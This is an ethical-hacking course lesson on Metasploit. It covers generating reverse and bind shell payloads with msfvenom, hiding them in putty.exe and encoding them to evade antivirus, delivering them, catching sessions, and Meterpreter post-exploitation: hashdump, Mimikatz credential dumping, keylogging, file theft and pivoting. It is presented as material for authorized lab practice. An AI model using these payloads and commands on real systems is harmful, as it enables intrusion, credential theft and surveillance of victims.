Cyber Services / All lessons / CEH — Ethical Hacking / Metasploit Payload Setup Guide

Metasploit Payload Setup Guide

Module 39 of 130 · 8 min read · Free to read

MODULES ↓ Command blocks have a COPY button

From Generation with msfvenom to Meterpreter Interaction

Payload Lifecycle Overview

This guide details the complete process of generating a custom payload using Metasploit's msfvenom utility, setting up a listener (exploit/multi/handler) to receive the connection, delivering and executing the payload on a target system within a controlled lab, and interacting with the resulting Meterpreter session.

Strictly for Authorized Lab Use: The creation and deployment of payloads must be confined to secure, isolated lab environments where you have explicit ownership and control. Using these techniques on unauthorized systems is illegal and unethical. Antivirus software on the target may need to be temporarily disabled for educational purposes within the lab.

Prerequisites

  • Metasploit Framework Installed: Typically used within Kali Linux or Parrot Security OS.
  • Network Connectivity: The attacker machine (running Metasploit) and the target machine must be able to communicate (ensure firewalls within the lab are configured appropriately).
  • Target System: A virtual machine (e.g., Windows, Linux) within your lab environment designated as the target.
  • IP Addresses: Know the IP address of your attacker machine (Metasploit host) and potentially the target machine.

Step 1: Identify Attacker IP Address

Before generating a reverse payload, you need the IP address of the machine running Metasploit (your attacker machine). Open a terminal on that machine:

ip address show eth0 # Or relevant interface like wlan0, ens33
# Look for the 'inet' address, e.g., 192.168.1.100

This IP address will be used as the LHOST value.

Step 2: Generating Payloads with msfvenom

msfvenom is Metasploit's standalone payload generator and encoder. It combines the functionalities of the older msfpayload and msfencode tools.

Core Syntax

msfvenom -p  LHOST= LPORT= [options] -f  -o 

Key Options Explained

  • -p, --payload : Specifies the Metasploit payload to use (e.g., windows/meterpreter/reverse_tcp). Use msfvenom --list payloads to see all available payloads.
  • LHOST=: The IP address the payload should connect *back* to (your attacker IP). Essential for reverse shells.
  • LPORT=: The port on the attacker machine the payload should connect back to (e.g., 4444, 8080).
  • -f, --format : Specifies the output format. Use msfvenom --list formats for options (e.g., exe, elf, ps1, py, raw, dll, vba).
  • -o, --out : Specifies the path and filename to save the generated payload.
  • -a, --arch : Specify the target architecture (e.g., x86, x64). Important for compatibility.
  • --platform : Specify the target platform (e.g., windows, linux, android).
  • -e, --encoder : Specify an encoder to use (e.g., x86/shikata_ga_nai). Helps evade basic signature-based detection (effectiveness varies greatly).
  • -i, --iterations : The number of times to apply the encoder. More iterations *might* increase evasion but also payload size.
  • -b, --bad-chars : Specify characters that must *not* appear in the payload shellcode (e.g., '\x00\x0a\x0d' for null bytes, line feeds, carriage returns, often needed when injecting into specific buffers).
  • -x, --template : Embed the payload within an existing executable template (e.g., putty.exe). Can improve AV evasion by making the payload look like a legitimate program.
  • -n, --nopsled : Prepend the payload with a NOP sled of specified size (useful for certain buffer overflow exploits).
  • --encrypt : Encrypt the payload stage (e.g., `AES256`, `RC4`). Requires compatible handler settings.

Common Payload Examples

1. Windows x64 Reverse TCP Meterpreter (EXE format):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/win_rev_x64.exe

2. Linux x86 Bind Shell (ELF format):

msfvenom -p linux/x86/shell/bind_tcp RHOST=192.168.1.150 LPORT=9999 -a x86 --platform linux -f elf -o /tmp/linux_bind_x86.elf

Note: RHOST is used for bind shells (the target's IP where the shell will listen). LPORT is the port the target will listen on.

3. Windows PowerShell Stageless Reverse HTTPS Meterpreter:

msfvenom -p windows/meterpreter_reverse_https LHOST=192.168.1.100 LPORT=443 -f ps1 -o /tmp/ps_rev_https.ps1

Stageless payloads (with `_`) include the full Meterpreter stage. HTTPS often bypasses firewalls.

4. Windows x86 Reverse TCP with Shikata Ga Nai Encoder (5 Iterations):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o /tmp/encoded_rev_x86.exe

5. Windows x64 Reverse TCP Embedded in a Template (`putty.exe`):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /usr/share/windows-resources/binaries/putty.exe -f exe -o /tmp/putty_payload_x64.exe

Step 3: Transferring the Payload

Getting the payload onto the target machine requires a delivery mechanism. Common methods in a lab include:

  • Simple HTTP Server: On attacker machine: python3 -m http.server 8000 (in the directory with the payload). On target: Use browser or command line (e.g., `certutil`, `powershell`) to download from `http://:8000/payload.exe`.
  • SMB Share: Set up a simple Samba share on the attacker machine.
  • SCP/SFTP: If SSH is enabled on the target.
  • USB Drive: Simple physical transfer (less common in real engagements).
  • Via an Exploit: Many Metasploit exploits handle payload delivery automatically.
Detection Risk: Payloads, especially basic EXEs, are often detected by antivirus/EDR. Encoding and templates offer minimal evasion against modern defenses. Advanced evasion is a separate, complex topic.

Step 4: Setting Up the Listener (exploit/multi/handler)

The multi/handler module is Metasploit's universal listener, configured to catch incoming connections from specific payloads.

msf6> use exploit/multi/handler

# Set the SAME payload used in msfvenom
msf6 exploit(multi/handler)> set payload windows/x64/meterpreter/reverse_tcp # Match the payload!

# Set the listening host (your attacker IP)
msf6 exploit(multi/handler)> set LHOST 192.168.1.100 # Must match payload LHOST

# Set the listening port
msf6 exploit(multi/handler)> set LPORT 4444 # Must match payload LPORT

# Optional: Keep listener running after a session closes
msf6 exploit(multi/handler)> set ExitOnSession false

# Optional: Automatically run a script upon session creation
msf6 exploit(multi/handler)> set AutoRunScript post/windows/manage/migrate # Example: Auto-migrate

# Start the listener in the background (-j for job)
msf6 exploit(multi/handler)> exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.100:4444

# View background jobs
msf6 exploit(multi/handler)> jobs

# Kill a background job (listener)
msf6 exploit(multi/handler)> kill 0

Crucially, the payload, LHOST, and LPORT settings in `multi/handler` MUST exactly match those used when generating the payload with `msfvenom`.

Step 5: Executing the Payload on Target

Once the listener is running, trigger the payload execution on the target machine (e.g., double-clicking the EXE, running the script).

Authorization Required: Only execute payloads on machines you own and have explicitly authorized for testing within your isolated lab environment.

Step 6: Catching and Interacting with the Session

If successful, the listener will report an incoming connection and a session being opened:

[*] Sending stage (201216 bytes) to 192.168.1.143
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.143:49567) at ...

Managing Sessions

# List active sessions
msf6 exploit(multi/handler)> sessions -l

# Interact with a specific session ID
msf6 exploit(multi/handler)> sessions -i 1
meterpreter> # Now you are in the Meterpreter prompt for session 1

# Background the current Meterpreter session
meterpreter> background # or press Ctrl+Z

# Kill a specific session
msf6 exploit(multi/handler)> sessions -k 1

Step 7: Essential Meterpreter Commands

Once inside a Meterpreter session, you have extensive control. Here are key commands (refer back to the previous Advanced Metasploit guide for more):

Core & Navigation

meterpreter> help          # Display available commands
meterpreter> sysinfo       # Target system information
meterpreter> pwd           # Current directory on target
meterpreter> ls            # List files
meterpreter> cd ..        # Change directory
meterpreter> getuid        # Current user
meterpreter> ps            # List processes

File System Operations

meterpreter> download C:\\secrets\\file.txt /tmp/loot/
meterpreter> upload /tmp/tool.exe C:\\Windows\\Temp\\
meterpreter> search -f *.bak -d C:\\
meterpreter> cat C:\\Windows\\System32\\drivers\\etc\\hosts
meterpreter> edit C:\\inetpub\\wwwroot\\config.php

Privilege Escalation & System Interaction

meterpreter> getprivs      # Check current privileges
meterpreter> getsystem     # Attempt to escalate to SYSTEM
meterpreter> hashdump      # Dump password hashes (needs SYSTEM)
meterpreter> load priv     # Ensure privilege escalation modules are loaded
meterpreter> load kiwi     # Load Mimikatz extension (powerful credential dumping)
meterpreter> creds_all     # Run Mimikatz 'sekurlsa::logonpasswords' (needs kiwi & SYSTEM)
meterpreter> shell         # Get a standard command shell
meterpreter> execute -f powershell.exe -a "-ExecutionPolicy Bypass -File C:\tmp\script.ps1" -H -i

Networking & Pivoting

meterpreter> ipconfig
meterpreter> route
meterpreter> run autoroute -s 10.10.0.0/24  # Add route to internal network via this session
meterpreter> run autoroute -p              # Print active routes
meterpreter> portfwd add -l 8080 -p 80 -r 10.10.0.50 # Forward local 8080 to internal web server

User Interface Interaction

meterpreter> screenshot
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop

Step 8: Troubleshooting Common Issues

  • No Session Received:
    • Check Firewall: Ensure firewall on attacker (LPORT) and target (outbound connection) allows traffic.
    • Incorrect LHOST/LPORT: Verify LHOST/LPORT match exactly between `msfvenom` and `multi/handler`. Ensure LHOST is the *correct* IP reachable by the target.
    • AV/EDR Blocking: Antivirus or Endpoint Detection & Response likely detected and blocked/removed the payload. Try encoding, templates, or more advanced evasion.
    • Payload Not Executed: Confirm the payload was actually run on the target.
    • Wrong Architecture/Platform: Payload (`-a`, `--platform`) doesn't match target OS/architecture.
  • Session Dies Quickly:
    • Unstable Exploit/Process: The process the payload injected into might have crashed. Use `migrate` immediately to move to a stable process.
    • Network Interruption: Check network stability.

Step 9: Evasion Considerations (Briefly)

Generating basic payloads as shown often results in detection. Real-world engagements require significant effort in evasion:

  • Encoding/Encryption: Basic `msfvenom` encoders are well-known signatures.
  • Templates: Hiding within legitimate files helps but isn't foolproof.
  • Staged vs. Stageless: Staged payloads have a smaller initial footprint.
  • Custom Code/Packers: Writing custom loaders or using packers can be more effective.
  • In-Memory Execution: Techniques like PowerShell reflection avoid writing EXEs to disk.
  • C2 Frameworks: Tools like Cobalt Strike, Empire, or Sliver offer more advanced C2 channels and evasion features than basic Metasploit payloads.

Conclusion

This guide provides a solid foundation for creating, delivering, and handling Metasploit payloads. You've learned to use msfvenom for generation with various options, configure the multi/handler listener, and utilize essential Meterpreter commands for post-exploitation within a controlled lab environment. Remember that successful and ethical penetration testing requires understanding the tools, the target environment, and strict adherence to legal and ethical guidelines. Continuous learning, especially in evasion techniques, is crucial.

Modules (130) ← CEH — Ethical Hacking